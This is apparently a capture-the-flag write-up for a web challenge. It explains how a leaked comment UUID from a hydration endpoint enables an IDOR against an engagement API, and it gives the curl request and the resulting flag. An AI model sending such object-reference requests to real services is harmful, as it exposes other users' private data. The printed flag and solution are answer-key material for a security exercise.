Overview
A social networking platform has comments disabled on a post, but a comment remains hidden in backend logic.
Reconnaissance
Inspecting responses from the endpoint /api/hydration reveals it leaks the hidden comment's unique UUID: c0mm3nt-h1dd3n-4ee7-b337-d1sc10s3d.
Exploitation Strategy
We query the engagement API at /api/v2/engagement using the leaked UUID to trigger an IDOR, which returns the full comment contents containing the flag.
Solution Code
curl -X POST http://<host>/api/v2/engagement \
-H "Content-Type: application/json" \
-d '{"action": "heart", "entityType": "Comment", "entityId": "c0mm3nt-h1dd3n-4ee7-b337-d1sc10s3d"}'Flag
Kaal{h1dd3n_c0mm3nt_1d0r_byp4ss_055b2610}